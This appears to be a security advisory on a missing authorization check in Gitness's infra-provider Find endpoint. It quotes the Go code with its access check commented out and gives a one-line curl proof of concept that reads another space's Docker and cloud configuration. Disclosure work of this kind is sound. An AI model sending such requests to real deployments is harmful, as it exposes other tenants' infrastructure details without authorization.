#3697·harness

InfraProvider configuration read without authorization in Gitness

Author: geo-chenCreated Jun 21, 2026Updated Aug 21, 2026

Affected Versions: <= 3.3.0 (current HEAD)

Summary

The GET /api/v1/infraproviders/{identifier} endpoint in Gitness is missing authorization, allowing any authenticated user to read infrastructure provider configurations belonging to spaces they are not a member of.

Details

In app/api/controller/infraprovider/find.go, the Find controller method ignores the caller's session (_ *auth.Session) and has its access-control check commented out with a TODO:

go
func (c *Controller) Find(
    ctx context.Context,
    _ *auth.Session,      // session is unused
    spaceRef string,
    identifier string,
) (*types.InfraProviderConfig, error) {
    space, err := c.spaceFinder.FindByRef(ctx, spaceRef)
    if err != nil {
        return nil, fmt.Errorf("failed to find space: %w", err)
    }
    // todo: add acl check with PermissionInfraProviderView once infra provider resource is added to access control
    // err = apiauth.CheckGitspace(ctx, c.authorizer, session, space.Path, identifier, enum.PermissionGitspaceView)
    return c.infraproviderSvc.Find(ctx, space, identifier)
}

This function is invoked by HandleFind in app/api/handler/infraprovider/find.go and routed at GET /api/v1/infraproviders/{infraprovider_identifier}. The chi URL parameter captures a URL-percent-encoded space-path+identifier ref (e.g., victim-space%2Fmy-provider decodes to victim-space/my-provider) which paths.DisectLeaf splits into spaceRef = "victim-space" and identifier = "my-provider".

All sibling operations — List, Create, Delete — correctly call apiauth.CheckInfraProvider(... enum.PermissionInfraProviderView/Edit/Delete). Only Find is missing the guard.

The returned InfraProviderConfig includes:

  • metadata (map[string]any) — free-form infrastructure configuration stored by admins: Docker host endpoints, API versions, TLS cert paths, cloud project identifiers, VPC references, etc.
  • resources ([]InfraProviderResource) — resource definitions including metadata, region, cpu, memory, disk, network
  • setup_yaml — a generated YAML file containing the full infrastructure setup specification for cloud providers (GCP, AWS)
  • type — reveals the infrastructure provider type (docker, harness_gcp, hybrid_vm_gcp, hybrid_vm_aws, etc.)
  • space_path — the owning space

PoC

Assuming Gitness is running at http://localhost:3000 and attacker has a valid session token but is not a member of victim-space:

bash
# 1. Attacker lists known spaces (via spaces they do belong to, or public space enumeration)
# 2. Attacker calls Find with the target space's infraprovider ref:
curl -s -H "Authorization: Bearer <attacker_token>" \
  "http://localhost:3000/api/v1/infraproviders/victim-space%2Fdocker-prod" | python3 -m json.tool

Expected response (without authorization error):

json
{
  "identifier": "docker-prod",
  "name": "Production Docker",
  "type": "docker",
  "metadata": {
    "docker_host": "tcp://10.0.1.50:2376",
    "docker_tls_verify": "1",
    "docker_cert_path": "/etc/docker/certs/prod"
  },
  "resources": [
    {
      "identifier": "standard",
      "region": "us-east-1",
      "cpu": "2",
      "memory": "4GB",
      "disk": "50GB",
      "metadata": {}
    }
  ],
  "setup_yaml": "",
  "space_path": "victim-space",
  "created": 1718900000000,
  "updated": 1718900000000
}

The attacker receives the full infrastructure configuration with no 401/403 response.

Impact

Any authenticated Gitness user can read the complete infrastructure provider configuration of any space in the system, including infrastructure endpoints, cloud provider types, resource specifications, and setup YAML files. In multi-tenant Gitness deployments (teams sharing a single Gitness instance), this allows a user from one team to discover and read the full infrastructure topology of another team's workspaces, including Docker daemon endpoints and cloud provider region/network configurations.